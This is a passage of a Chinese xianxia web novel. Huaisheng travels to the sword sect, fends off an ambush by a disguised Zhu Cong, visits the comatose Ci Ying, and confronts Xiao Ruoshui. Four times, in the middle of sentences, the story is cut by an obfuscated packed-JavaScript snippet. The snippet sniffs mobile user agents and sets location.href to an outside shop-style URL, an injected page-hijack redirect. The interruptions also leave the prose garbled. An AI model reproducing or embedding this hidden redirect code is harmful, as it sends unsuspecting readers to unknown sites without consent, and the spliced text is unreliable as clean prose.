应茹比怀生年长六岁,十二岁那年便已开了双窍,十年前本就可以去涯剑山。奈何她醉心丹道,死活不愿去涯剑山学剑。偏生她在丹道上实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566860|155333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在天赋不佳,在炸了不知多少个丹炉后,丹堂大长老忍无可忍,终于决定将她打包送走。 “大长老,你怎么可以那么狠心?应茹一颗丹心日月可鉴,只想留在丹谷里炼丹终老!” 大长老两道白眉狠狠一抽,声如洪钟: “涯剑山也可炼丹,你要祸害便去祸害涯剑山的丹炉!” “……” 默默等着接人的周丕仰头看天,心说应家这位大长老还真不拿他当外人。 应茹见大长老油盐不进,便将目光投向大长老身后的应姗,可怜兮兮道: “族长——” 应姗正领着七个约莫十二三岁的应家子弟从丹堂行出,这几人皆是应家这十年来资质最好的子弟。 把人领出来后,她冲着丹堂招一招手,道: “应芸,过来与你姐姐道个别。” 一个头扎双环髻,身着应家弟子服的少女急匆匆从丹堂跑出,手里抓着两个巴掌大的芥子袋。 “这是给阿姐和怀生做的七果云衣糖。”应芸木讷讷地递来芥子袋。 她是应姗的嫡传弟子,与应茹一母同胞,年岁和怀生相当。作为应家这数百年来丹道天赋最好的子弟,应芸很早便跟在应姗身旁了。 与大咧咧的应茹不一样,应芸心思敏感细腻,十分不爱与人打交道,平素也就同怀生和应茹能说上话。 妹妹一出现,应茹也不鬼哭狼嚎了,红着眼睛凑过去同应芸说悄悄话: “阿姐很快就会回来!” “早些出发,莫要耽误时间。” 一旁的应姗淡声吩咐着,目光掠过怀生时,不知想到什么,又续道: “你们九人皆是从我丹谷出去的子弟,入宗门后,万一受欺负了只管打回去,打不过便去找棠溪峰的应御真人替你们打。涯剑山半数丹药皆出自丹谷,万事有我丹谷担着。” 正要上前行礼的周丕微微一僵。 都说这位性子清冷寡言,没想着头一回见面便被她不疼不痒地敲打了一番。敲打便敲打罢,谁叫涯剑山半数丹药都掌在丹谷这呢。 周丕心大地想着,面上却露出恭敬之意,道: “应姗真人放心,涯剑山定不会放任新弟子受欺负。” 应姗淡看他一眼,没再说什么,把怀生几人的玉牌递过去,牵着应芸转身回丹堂了。 周丕顺利接上新弟子,御剑朝怀远城飞去。 怀生在丹谷住了十三年,应家这些子弟对她都不陌生。 年岁最小的子弟应子阳眨巴着眼睛问她: “怀生姐姐,为何你只开心窍也能去涯剑山?我听阿娘说,只有双窍都开的人,才能做宗门弟子。” 这问题已经不是第一次有人问了,只开一窍却想拜入涯剑山的修士在苍琅多如过江之鲫,但成功者寥寥。 怀生一如既往地给出她的答案: “大概是因为我天赋异禀吧。” 旁边的应茹一边吃着宝贝妹妹做的糖,一边囫囵着附和道: “就是,小怀生只开一窍就这么能打了。日后祖窍一开,必定所向披靡。小子阳你学着点啊!咱们九个人就你最不能打,莫要堕了我庆阳应家的名声。” 应子阳想起谷中那些曾被怀生打得鬼哭狼嚎的师兄姐们,恍然地点了点头。原来只要拳头够硬,资质差些,也能进宗门。 立在飞剑前头的周丕轻轻摇了摇头。 小孩子就是好骗。 南怀生说得倒是没错,她在只开一窍的情形下,的确是能进涯剑山当外门弟子。却不是因为她厉害,而是她爹娘厉害。正是靠着她爹娘,她才能得一荫蔽子弟的资格拜入涯剑山。 南师兄与许师姐当年可是涯剑山最出色的那一批弟子,又是神仙眷侣,不知惹了多少人艳羡。 周丕入门时恰是许清如与南新酒风头最盛的时候,也曾心生向往,盼着有一日能成为这样的修士。 不曾想数十年过去,物是人已非。许师姐丹碎脉断,无缘大道。南师兄境界倒退,被逐出南家。 二人十三年前把南怀生送去丹谷后,便下落不明、杳无音讯了。连消息尚算灵通的周丕,都打听不到他们的消息。 也不知南怀生入涯剑山时,他们会不会回来宗门。 13.赴苍琅 三日后,周丕带着九名预备弟子来到了怀远城。 此番出行,他除了要去丹谷,还要回家族接引本家子弟。 周家虽是小世家,但在怀远城也有不少灵气不错的洞府。 将几人安置在最为清净的院舍后,周丕对他们温和道: “你们在这里好生休息半宿,我去周家再接一名弟子,之后就会回来接你们。” 他说完指了指身后两名面容普通的周家管事,又道: “需要什么便同他们说,这院舍有一处灵植园,里头种有数十种奇花异草。你们若不嫌累,可让管事领路,到里头一观。我明日带你们去怀远城最出名的香园楼打牙祭,打完牙祭再启程去涯剑山,也不枉你们来怀远城一趟。” 应家子弟们一听可以看灵植,还可以去酒楼打牙祭,点头如捣蒜。 怀生对看灵植没甚兴趣,干脆与他们兵分两路,先去下榻的院舍。 天已入夜,春寒料峭。小院前头种了片秀丽的竹林,竹叶在夜风中沙沙作响,竹影摇曳。 身着灰衣的周家管事领着怀生往院舍去,一路风平浪静。 就在二人即将穿过竹林时,那灰衣管事陡然摔碎一块阵牌,猛一转身,朝怀生砍出一剑。剑光凌厉,如长虹贯日,直奔怀生心窍。 怀生祭出青霜, “锵”一声挡住剑光,剑势将她逼得倒飞了两丈。很快又是一阵破空声起,数十片竹叶化作薄薄的飞刀朝她射来。 七杀阵! 那灰衣管事摔下阵牌启动的,竟是个七杀阵。 七杀阵内,万物皆可成杀器! 灰衣管事盯着怀生,冷冷道: “不想死便束手就擒!” 怀生趁他说话这间隙,提身一跃,七把阵剑在她脚下结成杀阵,锐利剑气交织成网,将所有竹叶绞成碎片。 灰衣管事手持子阵牌,骈指念诀。下一瞬,便听狂风一啸,细长的竹枝仿佛柔软的藤蔓, “啪”一声从四面八方击向怀生。 与此同时,灰衣管事再度提剑贴近怀生。数道凌厉的剑意兜头劈来,怀生胸口灵光一亮,一把护心锁快速飞出, “喀”地一下,锁住了灰衣管事的长剑。 灰衣管事偷袭不成,眸中杀意愈盛。灵力汩汩注入长剑,略微一转便震开护心锁。他再次提剑横劈,盯着怀生的目光阴鸷如毒蛇。 此人每一剑都有筑基的威力,怀生连接数剑,虎口被震出一阵麻意。 她却丝毫不慌,七把阵剑包围灰衣管事,趁着他被困,青霜剑迅如雷电,将竹林尽头的一株紫竹狠狠劈裂。 “轰!” —— 竹林登时炸出一声巨响,竹枝、竹叶扑簌簌坠落。七杀阵破! 灰衣管事不妨她竟这么快就寻到阵眼还破了阵,眸中戾气一闪,一把长刀凭空现出。 他单手握刀,一手刀法耍得极其利落,如行云流水。刀身镀了一线红,挥动间,隐有红芒闪动,如一簇火光。 怀生望着那把长刀,眸光一凝,倏地看向那管事。 “朱运是你何人?” 十三年前,桃木林,与萧池南一同替她爹拦下斗篷人的萧家长老朱运,用的便是这样一把刀。 - 听见“朱运”二字,灰衣管事面色愈发冷戾。手中长刀挥出灼人的热浪,不过片刻,二人便已交手了数十个来回。 灰衣管事眸中杀意节节攀升。 本以为可以轻而易举将她拿下,不料缠斗至今,竟是连她一根头发丝都没伤着。此番打斗已是拖得太久,再缠斗下去怕是难以脱身。 他眸光一沉,用力咬破舌尖,一口心头血喷向长刀。刀身登时裹上一层冷焰,冷焰随着挥舞的长刀蔓延至剑阵中。 七把阵剑被冷焰烧得灵光黯淡,哀鸣一声,飞回怀生手中。 灰衣管事步步紧逼,长刀冷焰一并袭来。 怀生将身法运用到极致,五颗阵石一把抛出,不过瞬息,乾、离、坤、坎、巽五个方位同时亮起白芒。 她并起双指: “地陷!” 灰衣管事心内一惊,正要腾空跃起,却已是晚了,四根土鞭从地面刺出,牢牢缚住他四肢,将他拖入地底。 “青霜,去!” 青霜剑发出一声悦耳长鸣,往灰衣管事消失的地方疾飞而去。剑光行至半路,忽有风雷声大作,惹得飞沙走石漫天。 怀生汗毛一竖,七把阵剑急列于前,刚列好阵便觉一阵摧枯拉朽的巨力迎面袭来,将阵剑生生震开。 怀生猛吐一口鲜血,青霜剑从半空坠落。 她定睛一看,偷袭她的居然是一方桃红香帕。 香帕的主人显然只想救人不想杀人,轻轻一旋,便将困在土里的灰衣管事吸裹住,飞遁而去。 说时迟那时快,一豆半明半昧的淡红光焰从天边飘来,直直撞入香帕,香帕里立即传出一声痛呼。 随着那声痛呼远去,两道身影在竹林落下—— 正是身着涯剑山亲传弟子服的初宿和松沐。 “怎么样?可有哪里伤着?”初宿急忙掏出一颗丹药,喂入怀生嘴里。 怀生吞下丹药,一边说着“没事”,一边走到一根青竹边,捡起地上那颗碎成几瓣的留影石。 “果然被震碎了,十个灵石就这么没了。” 在那灰衣管事发难时,怀生便偷偷落下了这颗留影石,结果还是被那香帕的主人给震碎了。不仅留影石,灰衣管事先前用的阵牌残骸也没了踪影,竹林里的打斗痕迹也被毁了大半。 松沐细细打量着满地狼藉,神色凝重道: “那人是周家的管事?” 话音刚落,又有一道白光在竹林落下。 周丕面色发白地收起飞剑,见怀生全须全尾地站在这,长长松了一口气。 方才接到管事传音,说有人在院舍设阵埋伏应家子弟,吓得他屁滚尿流地赶来。这几个小娃娃若是死在周家,他周家恐要大祸临头。 “师妹——” “怀生师姐——” 几道身影从竹林另一头跑来,神色仓惶急切,正是应茹几人,他们身后跟着另一位形容同样狼狈的灰衣管事。 那管事一见着周丕便“噗通“一声跪下,诚惶诚恐道: “真人恕罪,小的并不知这处院舍被林管事设下了杀阵。” 周丕的面色十分难看,拿出传音符下了几道命令。不多时,便有几名管事抬着一具尸体匆匆赶来。 “真人,我们去往林管事的住所时,发现他已死了三日!” 怀生盯着被放置在地上的尸体。 这尸体与偷袭怀生的灰衣管事生得一模一样,但此人灵台未开,境界只有开窍境。 而与怀生交手的灰衣管事灵台已开,祖窍处有一团黄豆大小的光斑,光斑里还藏有一点红芒,是实打实的筑基境修士。 看来这倒霉管事几日前便已被人李代桃僵了。 看着死去多日的管事,周丕那张娃娃脸一时间变得十分严肃。 “此事我会禀告宗门,请律令堂出手调查。 “他看向怀生,道, “那人化成林管事的模样潜伏在周家,便是为了抓你。你与他交手时,可有留意到他的特征?” 怀生想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14577852|155333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了想,道: “方才一共有两人对我出手,一人便是那灰衣管事。那管事应是初入筑基境,与我交手时用的虽是剑,但他似乎更擅长用刀。” 说到这,她微微一顿,没提及朱运的那把本命刀。 “还有一人并未露面,用一个香帕状法器将那灰衣管事救走后,便迅速遁逃。此人应是个丹境修士。” 周丕闻言,面露怪异之色。 南怀生只开一窍,修为只有开窍境大成,竟能从一名筑基境剑修和一名丹境真人手里全身而退? - “你倒是出息,堂堂筑基连个只开一窍的开窍境都打不过。” 怀远城城郊的一间陋舍,身着靛蓝道袍的美貌妇人收起香帕,看着地上那苍白阴郁的青年修士冷声嘲讽。 青年修士抿唇不语,唇角血渍斑斑。 妇人冷眼看他,道: “朱丛,你是不是忘了你是小姐的伴刀?十年前,是小姐做主送你进涯剑山,今日若我来得不及时,你定会被抓回涯剑山,届时整个苍琅都知道我萧家不讲道义,对南怀生暗下杀手。” 朱丛赤红着眼回道: “张长老,弟子做了万全准备,绝不会牵连小姐!南怀生入了涯剑山,那便是涯剑山弟子。日后不管是杀她还是掳走她,都要受律令堂问责。只能趁今日动手!” 周丕那人,每逢开山门都要亲自回怀远城接本家子弟。这次周家送入涯剑山的是他亲侄女,他必定会在怀远城停留。 自他打听到是周丕去丹谷接应家子弟后,朱丛便开始乔装易容,潜伏在周家。为的便是亲手抓住仇人之女,把失踪多年的南新酒引出来。 可惜错过了大好良机! 朱丛心中不由得大恨。心潮汹涌之下,他面色一青,呕出一口鲜血。 美貌妇人将装着丹药的碧色玉瓶抛入朱丛怀中。 “把药吃了!小姐既没说要对她动手,你便给我沉住气!” 待得朱丛吃下丹药,美貌妇人右掌重重一握,她手中那方桃红香帕瞬间成了齑粉。 “为了替你收拾残局,我不但要废掉这护身法宝,还浪费了一枚小姐的天品玉魂丹。小姐留你做伴刀,是感恩你父亲对萧家的忠诚。你若再冥顽不灵、冲动行事,这份感激之情迟早要被你磋磨掉!” 美貌妇人说到这,不由得一阵肉疼。 木槿真君那小徒弟的红莲业火好生厉害,不仅灼穿了她的香雪,还伤了朱丛的灵台。 业火气息难除,为了不露出痕迹,她只能把法宝毁了,还用万分珍贵的玉魂丹给朱丛疗伤。 朱丛眼中的不忿随着美貌妇人手中的齑粉一同随风散去。他闭眼运息,待得灵台里的灼痛散去,方又抬眼道: “南怀生的修为,当真只有开窍境大成?” 美貌妇人垂眸看他,唇角勾起一丝讥讽的笑意: “的确是只有开窍境大成。你抢了先手,做了埋伏,又高她一个大境界,本以为用一个七杀阵与一把剑便足以拿下她,结果却败得如此狼狈。是不是觉得她厉害得紧?” 朱丛沉默,半晌后方道: “张长老放心,今日是我过于轻敌,日后朱丛绝不会再犯。便她再厉害,也不过是个开窍境。” 听见这话,美貌妇人冰冷的面色稍霁,颔首道: “应姗乃苍琅第一丹师,南怀生养在她身边,自会有不少灵丹妙药能叫她洗筋伐髓。但便是如此,她也只能开一窍,她的资质可想而知有多糟糕。祖窍不开,她一辈子都无法筑基。一个开窍境再厉害又能厉害到哪里去?你初入筑基境,根基不稳。且先打好根基,待日后,自有你一雪前耻的时候。” 14.赴苍琅 折腾半宿,唯恐又生波澜的周丕顾不得食言而肥,翌日一早便驭起剑匆匆赶路。 这一路风餐饮露,不时还要被坐在剑上的小师姐讽刺几句,实在是有生以来赶得最狼狈的路,一张娃娃脸差点沧桑成老人脸。 好在两日后,他终于将十名预备子弟并两位身份尊贵的小师兄姐安全带回涯剑山独鹿堂。 独鹿堂就在棠溪峰半山腰,分内外堂,专管涯剑山内外务。预备弟子都得来这里登记入册,这两日独鹿堂俨然成了涯剑山最热闹的地方。 怀生并未急着去内堂排队登记,下了飞剑便同周丕道:“周真人,我有事需得离开一个时辰。一个时辰后,我便会回来。” 她在周家遇伏,周丕心中正过意不去,哪还会拒绝她。 “你去罢,我在这等你。” 得了准信,怀生也不耽搁,乘坐一只仙鹤状的符兽直奔万仞峰。 万仞峰顶,剑主洞府。 一只通体雪白的狐狸懒洋洋地打着呵欠,放出灵识,百无聊赖道:“喂,黎辞婴,你说今日独鹿堂会出现什么奇葩?这小破地方,开个山门开得忒寒酸,连个仙果都——咦?” 白狐狸话说到一半,忽然双耳一竖,四爪一撑便站直了瘦巴巴的身体。 “黎辞婴!”它跳下窗台,“答答”跑向里头的石床,“你拼死保护的豆芽菜出现了!她正在往万仞峰来……她已经到了半山腰……完了完了,她到门外了!” 白狐狸在石床边上蹿下跳,咋咋呼呼。觉察到洞府的禁制被打开,又立即双爪捂住嘴巴,眯起眼睛打量正缓步走来的少女。 少女一身白裳绿裙,乌发半挽,从前瘦成豆芽菜似的身量如抽条的柳枝,变得亭亭玉立。 她的目光越过白狐狸,落向石床上的少年。 洞府里烧着一豆灯火,称不上亮堂,少年半张脸落在烛影里,另外半张浸在光里的脸苍白如纸,无半点血色。 怀生在丹谷呆了十三年,辞婴便在万仞峰昏迷了十三年。 当年在桃木林,他灵台受创,应御师伯费了不知多少心血方稳住他伤势。本以为他睡个三五年便能醒,结果他这一睡睡了整整十三年。 她绕过趴在榻边蒲团的白狐狸,安静地来到辞婴身旁。少年虽十三年未醒,但身体一直在生长。个子高了许多,五官轮廓也舒展了开来。 可喜可贺的是,他幼时那张无数人赞叹过的脸并未长残,除了皮肤因不见天光略显苍白,堪称无可挑剔。 初宿知她心中牵挂辞婴,去岁去丹谷看她之前,特地用玉牌摄下辞婴的模样。眼前这张脸,怀生并不陌生。 在床边站了好一会儿,怀生开始从芥子玉佩掏出她这些年的珍藏。 白狐狸的视线一直停在她身上。眼瞅着怀生掏出一件又一件小东西,一时好奇心起,巴巴地凑了过去。 “这是馥果珠,有温养灵台之效,就是味道比较奇特。应御师伯说你格外爱净又厌臭如命,定然不喜这气味。我寻思着要是能将你臭醒,好像也不错。” 默默后退一步的白狐狸:“……” “这是鸣鸡符,每日卯时一到,这符兽便会朝天鸣叫九百九十九声。我挑了枚最贵最好的上品鸣鸡符,声音最雄壮,持续时间也最久,鸣叫个十来年不成问题。你若是觉得它吵,便亲自醒来将这符兽毁了。” 默默后退两步的白狐狸:“……” “这是解梦石,专门用来做高级幻阵的材料。解梦石专解美梦,倘若你现在正在做美梦,解梦石能崩掉你的梦境,让你苏醒过来。当然,要是你坚持不肯醒来—— “喏,我这里还有一块魇梦石,听名字就知道了,这块阵石能构建一个你最厌恶的梦境,逼着你挣脱梦魇醒来。” 怀生介绍得十分认真,不过一小会儿,石床已经摆满了各色新奇玩意儿。 此时白狐狸已经退回窗边,眼露警惕。 将两颗光华流转的阵石放在辞婴的枕头边,怀生继续道: “这两枚梦石十分难得,应御师伯诊不出你久久不醒的原因,我只能死马当活马医了。” 榻上的少年始终睡着,长睫静静垂落,乌发散了满榻。烛火落在他眉眼,照出一点暖意。 怀生看着他,缓缓说道: “黎辞婴,多谢你救了我。当日若不是有你,我说不得已经没命了。如今我已经能修炼了,日后,便由我来保护你吧。今日涯剑山开山门,我该走了。待我入了山门,再来看你。” 洞府禁制开了又关。 白狐狸望着怀生消失在洞府外的身影,沉默了良久,方郁闷道: “她当日一身阴毒命悬一线都能好好活着,你不过是灵台多碎了点,竟长眠到今日都不醒。堂堂上仙,也忒没用了些。还有,你睡便睡,为何要把灵台封了?这十三年来,我一个好觉都不曾睡过,也没能在你的灵台修炼魂力,都快瘦成一只猫了!” 白狐狸顾自骂咧,没注意到石床上的少年眼睫轻轻动了下。 - 初宿站在剑主洞府外,见怀生出来时一脸凝重,便上前掐她脸颊,道:“不是心心念念要来看他的么?怎生今日看到了,脸色这么难看?快给我笑一个!” 怀生急忙躲开她魔爪,一边挤出个笑容一边道:“就是奇怪他为何迟迟不醒。” 初宿耸了耸肩:“他在桃木林受的伤全都痊愈了,至今不醒,应是有旁的原因,你莫要自责。再说了,这位睡着觉都能修炼,这些年他的修为一点儿没耽误,如今都筑基大圆满了,比我跟松沐还要高一个小境界。” 辞婴睡着觉都能涨修为这事,怀生从前便听应姗提过。今日亲眼得见,依旧是被惊到了。 听说涯剑山有弟子为了效仿,悄悄藏身于万仞峰的剑主洞府外,把自己砸晕过去,睡了三天三夜。 结果修为没涨不说,还差点被律令堂当失心疯带走。 若是从这个角度看,辞婴睡一觉便能免去多年苦修,好像…… 嗯,好吧,心里果真好受点了。 怀生揉着脸,眼睛朝初宿身后张了张,“松沐呢?” “木头去找掌门师伯说你遇袭的事,直接去律令堂的话,律令堂未必会派人调查。” 这点怀生倒是理解。 她尚未成为涯剑山的弟子,自然没得资格要律令堂替她出面。其实她也没准备要律令堂替她出面,这件事她会自己查。 怀生想了想,道:“那人用的那把刀,我从前曾经见过。虽然不确定是不是同一把,但的确与我见过的那把别无二致。” 初宿疑惑道:“鲜少有修士会愿意与旁人用一模一样的刀,再是相似,也会有些不同。莫非那人,便是你曾经见过的那把刀的主人?” 怀生摇头:“我从前见过的那人已经死了,就在桃木林里。” 初宿眸光一动:“十三年前死在桃木林的萧家人?” 怀生颔首:“是当年与萧池南师叔一同死在桃木林的朱家长老朱运。他的刀在刀锋处有一线红芒,运转刀法时,会燃烧出冷焰。” 当初匆匆一瞥,怀生记得最清楚的便是萧池南与朱运用的两把刀。 初宿从不怀疑怀生的记忆力,闻言粉面一冷:“那人说不定就是朱运的亲朋故旧,敢在周家动手,仗的便是萧家的势。他敢对你下手一次,便敢下手第二次。我现在就去萧家,把用那刀的人找出来!”说着拿出传音符,就要开始摇人。 怀生伸手拦下她,“竹林里只有我一人见过那把刀,空口无凭之下,你真去了萧家,他们也只会当我信口雌黄,反倒不妙。” 初宿指尖现出一缕羸弱的暗红色火焰,道:“他中了我的业火,身上定然有业火的气息,我不信翻不出那人。只要能在萧家找出他,萧家便休想抵赖。” “万一他真有法子去除业火的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14593086|155333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息呢?岂不叫你平白无故得罪萧家了?” 怀生不希望初宿直接对上萧家,认真思忖了一会儿,继续道:“朱长老临死时,曾用血脉禁术给他儿子传了一句遗言。那人看我的眼神充满恨意,极有可能便是他儿子。若真是如此,我倒是想会一会他,但不必急在这一时。当务之急,还是先入山门。走罢,回独鹿堂去!” - 独鹿堂此时早已乌泱泱挤满了人,都是涯剑山属地以及附属修真家族送来的年轻弟子,这些弟子大多只有不到十五的年纪。 依涯剑山门规,年过二十五之前,只要双窍开,并通过涯剑山剑意路的试炼,便可拜入涯剑山。 有些修仙家族,在族中子弟开窍后,便开始让其修炼心法。等送来涯剑山时,都已经有开窍境的修为了。 每次开山门都有这样的人,今年最厉害的,要数萧家的萧若水。 萧若水是萧家这一辈的天骄。五岁开心窍,九岁开双窍,十七岁开窍境圆满,十九岁筑基。 如若不是要为死在桃木林的父亲萧池南守孝七年,她十年前便可拜入涯剑山。 “听说元剑宗也去了萧家,想将萧若水招入秦子规真君门下。” “那她为何不去元剑宗?那可是苍琅第一宗!还是秦真君的亲传弟子!” “涯剑山与元剑宗素来交恶,萧家乃涯剑山附属世家,萧若水她爹当年便是涯剑山的弟子,她若不来涯剑山,如何说得过去?” “正是此理。再者说,咱们涯剑山多有诚意。元剑宗派的是秦真君首徒去的萧家,而我们涯剑山可是和光真君亲自登的门!听闻和光真君十年前便相中萧若水,要收她为徒了!” 几名独鹿堂的执事弟子站在一棵老松下,碎嘴着这一期的新弟子。 坐在树下纳凉顺道听八卦的周丕瞥见怀生和初宿的身影,忙抬手打断执事弟子的话,笑道:“都忙好了?” 怀生点头:“有劳真人等候。” 周丕打量怀生的神色,见她面色如常,心神稍稍一定。 虽不确定南怀生知不知南家与萧家的纠葛,但在她面前,还是少点提萧家的事为好,尤其是萧若水。 叶师叔的事儿他十年前便有所耳闻了。这位师叔与萧家一贯交好,十二年前进阶元婴后,他不曾收过徒,都说他是想让萧若水做他的首徒。 萧家与南家的世仇周丕同样略有耳闻。 祖辈的恩恩怨怨暂且不说,就说南师兄这一辈。不管是许师姐遇伏还是萧师兄陨落,都有传言说是对方家族动的手,真相至今扑簌迷离。 萧师兄与南师兄是同一批入涯剑山的弟子,二人资质上乘,都是当时最出色的弟子。结果一个下落不明,一个陨落,实在是可惜。 眼下萧若水、南怀生跟父辈一样,也是同一批入山门的弟子。 也不知她们会有怎样的故事。 正想着,眼角余光忽又瞥见几道身影从溪边走来。站在中间的少女背着一把布满血锈的大刀,靛蓝弟子服的袖口绣了个“张”字。 少女左右两边分别跟着位年约三旬的美貌妇人与一名身量高大、眉眼阴郁的俊秀青年。 那妇人面容艳丽,身上的长老道袍同样绣了个“张”字,青年则是穿着涯剑山的内门弟子服。 阴郁青年一出现便紧紧盯着怀生,面色不善。注意到他的视线,怀生抬眸回望,目光在他眉心处停了下,接着又朝他身旁的少女望了眼,这一眼停留的时间比方才还要长。 直到萧若水看了过来,怀生才淡淡收回目光。 周丕一眼便认出那少女是萧若水。至于她身旁的阴郁青年,周丕想了半日才终于想起此人乃是十年前,萧家送来涯剑山的弟子朱丛。 朱丛的父亲正是死在桃木林的萧家长老朱运。 不是,这都是什么事儿啊! 怎么都挑在这会来独鹿堂? 15.赴苍琅 周丕心中暗暗叫苦,未免场面难看,朝一旁的执事弟子快速招招手,道:“这位是庆阳郡来的预备弟子,你们快领路,带她去见赵长老。”说完用力眨了眨眼。 几名执事弟子在独鹿堂练就了极好的眼力见,立即便反应过来,年岁最大的执事弟子朝怀生热情招呼起来。 “师妹快随我来,今日剑意路开,预备弟子们正在排队去往剑意路去呢,你也抓紧!” 初宿盯着正朝大门走来的萧若水三人,目光掠过她袖袍上的“张”字,也道:“陆长老不喜喧闹,我不陪你进去了,就在这儿等你。” 她嘴上说得云淡风轻,手里却紧握一根灵光闪闪的红鞭,颇有一夫当关、万夫莫开的架势。 怀生十分配合地跟上执事弟子。 然而就在她即将跨过独鹿堂大门时,一把大刀突然横劈过来,遍布锈迹的刀身映出一层血光,森然杀意犹如寒风扑面。 周丕始终关注着这头,反应最快,碧蓝剑光飞快出鞘,意欲拦下萧若水的长刀。 她身旁的美貌妇人似是早有准备,手中长绫朝前一甩,牢牢缚住周丕的逐浪剑。 见逐浪剑被拦下,周丕神色大变,暗道一声“不好”! 正要施个瞬移术,那妇人却一步迈至他身前,柔声笑道:“周真人莫着急,我家小姐不过是想问一句话罢了。” 周丕刚入丹境,修为比已有丹境大成的美貌妇人差了不是一星半点,登时心急如焚,大叫了一声—— “陆长老!” 与他相比,初宿倒是淡定许多,似是笃定了张若水这一刀拦不下怀生。 但她依旧是动手了,手腕一转,长鞭挥出一道猩红残影,毫不客气地朝萧若水面门打去。 敢对怀生动手,那便别怪她不客气! “小姐小心!”朱丛在初宿的业火上吃过亏,紧张地拔剑出鞘。 “你有伤在身,不用出手。” 萧若水说着,掌心现出一把青色小剑,飞快迎上长鞭。 眼见着两人就要打起来,三片青翠竹叶冷不防从独鹿堂内院射出。 一叶打落锈色长刀,一叶划破雪白长绫,还有一叶化作一股强风,强行在初宿与萧若水之间分出数丈远的距离。 紧接着,一道浑厚的声音沉沉问道:“何人闹事?” 美貌妇人悠然收回长绫,往前踏了一步,笑道:“陆长老,是晚辈张雨。您怎么还跟从前一般,连句玩笑都开不得了?我家小姐的刀不过是用来拦人罢了,又不是用来杀人的。怎么,我萧家大小姐莫不是连在涯剑山问句话的资格都没有了?” 萧家现如今是苍琅最大的修真世家,从前鼎盛时也出过不少真君,为涯剑山送来不知多少天资上乘的弟子。 涯剑山这些年日渐式微,萧家愿意继续依附涯剑山,作为独鹿堂长老的陆平庸自然会记着萧家的好。 此时听张雨提起萧家这一辈的天骄萧若水,沉默片刻便问道:“萧若水,你想问何事?” 萧若水挥手收刀,淡道:“依涯剑山门规,双窍不开者不得入涯剑山。既如此,只开一窍之人,凭何能在独鹿堂登录在册?” 陆平庸心念一转便知她在说何人,独鹿堂里只开一窍的预备弟子只有一人—— 南新酒与许清如的独女南怀生。 他开门见山道:“南新酒与许清如是我涯剑山弟子,二人为宗门立过的功劳足以为其女换一个外门弟子的荫蔽资格。” 萧若水冷笑:“即是涯剑山弟子,那涯剑山律令堂为何还不问罪于南新酒?就凭他伙同外人弑杀同门——” 未等她说完,一道霜白剑光猛地出鞘。 先前萧若水的凌天刀劈的是怀生跟前的门槛,目的不是要伤她,而是要阻她进独鹿堂。怀生这会的剑光也不是为了杀她,而是要叫她闭嘴。 独鹿堂里里外外好几位丹境修士在,怀生这一剑当然打不着,她也没想要打着。可出乎她意料的是,挡住青霜剑的不是竹叶或者白绫,而是一道春风般的剑意。 春风化雪,青霜剑被一缕春风送回怀生手里。 “你二人尚未入门便这般打闹,也不怕人笑话?” 来人信步走入独鹿堂外院,面容俊逸、青袍素履,正是涯剑山新晋真君叶和光。 便听他温文尔雅道:“宗门有无数大小比,你们日后多的是机会切磋,今日便到此为止。” 一句话便将萧家与南家的恩怨定性为少年间的意气打闹,倒是给双方都留了面子。 周丕松了一口气,对着来人拱手道:“见过叶师叔。” 叶和光人如其名,一身和光同尘、春风化雨的温煦。 他冲周丕温和一笑:“你快把新弟子带去给陆长老,我先把我这爱打闹的徒儿带走。” 周丕正有此意,也不假手于人了,微一颔首便朝怀生快步行去,亲自领她进内堂。 叶和光望向萧若水,示意她过来。 预备弟子们听闻是涯剑山的和光真君亲临,都伸长了脖子朝外张望,好一睹真君真容。 叶真君没见着,倒是看见外头那一身白裳绿裙的少女忽然转过身,喊住了正欲离去的叶和光与萧若水。 “等一下。” 叶和光有些意外,停下脚步回望怀生,儒雅的面容露出一丝无奈。 “你若再不进去,本座只好让陆长老革除你荫庇而来的弟子名额。南怀生,你爹娘替你争来这名额实属不易,你莫要辜负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她如今可不是当初那个只有十颗乳牙的小娃娃了。 十三年一晃而过,他变了模样,她也变了模样。也不知他还能不能认出她来。 这念头才刚冒出,便见辞婴将目光从她身上挪开,看向了萧若水。 